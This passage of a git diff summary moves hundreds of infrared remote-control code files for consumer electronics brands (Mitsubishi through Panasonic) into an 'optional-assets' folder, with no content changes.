.../{ => optional-assets}/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Meridian/DVD/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Meridian/Processor/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/Remote Control/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir | 0 .../_CSV-IRDB_/Meridian/System Remote/19,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Metronome/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Game Console/116,15.ir | 0 .../_CSV-IRDB_/Microsoft/Game Console/4,15.ir | 0 .../_CSV-IRDB_/Microsoft/Game Console/5,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir | 0 .../_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir | 0 .../_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir | 0 .../_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir | 0 .../_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mintek/DVD Player/0,153.ir | 0 .../_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir | 0 .../_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir | 0 .../_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir | 0 .../_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir | 0 .../_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir | 0 .../_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir | 0 .../_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir | 0 .../_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/18,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/5,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cox/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Cox/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/DSS/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/DVR/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/IP box/16,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Remote/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Motorola/Remote/3,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir | 0 .../_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir | 0 .../_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir | 0 .../_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir | 0 .../_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir | 0 .../_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir | 0 .../_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir | 0 .../_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Amplifier/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/133,111.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/42,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Monitor/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Receiver/135,124.ir | 0 .../_CSV-IRDB_/NAD/Surround Processor/135,124.ir | 0 .../_CSV-IRDB_/NAD/Surround Processor/93,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Tuner/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_451/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Monitor/25,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Monitor/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,197.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,225.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,228.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,231.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/4,-1.ir | 0 .../_CSV-IRDB_/NEC/Surround Processor/13,-1.ir | 0 .../_CSV-IRDB_/NEC/Surround Processor/26,228.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/24,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/24,24.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown/25,231.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir | 0 .../_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir | 0 .../_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/10,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/25,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/4,-1.ir | 0 .../_CSV-IRDB_/NEC/Video Projector/24,233.ir | 0 .../_CSV-IRDB_/NEC/Video Projector/24,247.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/NET TV/TV/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir | 0 .../_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir | 0 .../_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir | 0 .../_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir | 0 .../_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir | 0 .../_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir | 0 .../_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir | 0 .../_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir | 0 .../_CSV-IRDB_/Niles Audio/Unknown/128,93.ir | 0 .../_CSV-IRDB_/Niles Audio/Unknown/132,18.ir | 0 .../_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Satellite/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Satellite/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir | 0 .../_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir | 0 .../_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir | 0 .../_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir | 0 .../_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir | 0 .../_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir | 0 .../_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir | 0 .../_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir | 0 .../_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir | 0 .../_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_For/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_For/8,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir | 0 .../_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir | 0 .../_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir | 0 .../_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir | 0 .../_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir | 0 .../_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/132,117.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,13.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/CD Player/210,44.ir | 0 .../_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir | 0 .../_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Receiver/210,108.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Receiver/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Tuner/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Tuner/210,37.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Onkyo/Unknown/210,44.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir | 0 .../_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir | 0 .../_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir | 0 .../_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir | 0 .../_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir | 0 .../_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir | 0 .../_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir | 0 .../_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir | 0 .../_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir | 0 .../_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/128,0.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,0.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,16.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,18.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,28.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,34.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/160,4.ir | 0 .../_CSV-IRDB_/Panasonic/DVD Player/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir | 0 .../_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,28.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/Receiver/160,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/TV/128,9.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir | 0 .../_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Panasonic/VCR/144,5.ir | 0 .../{ => 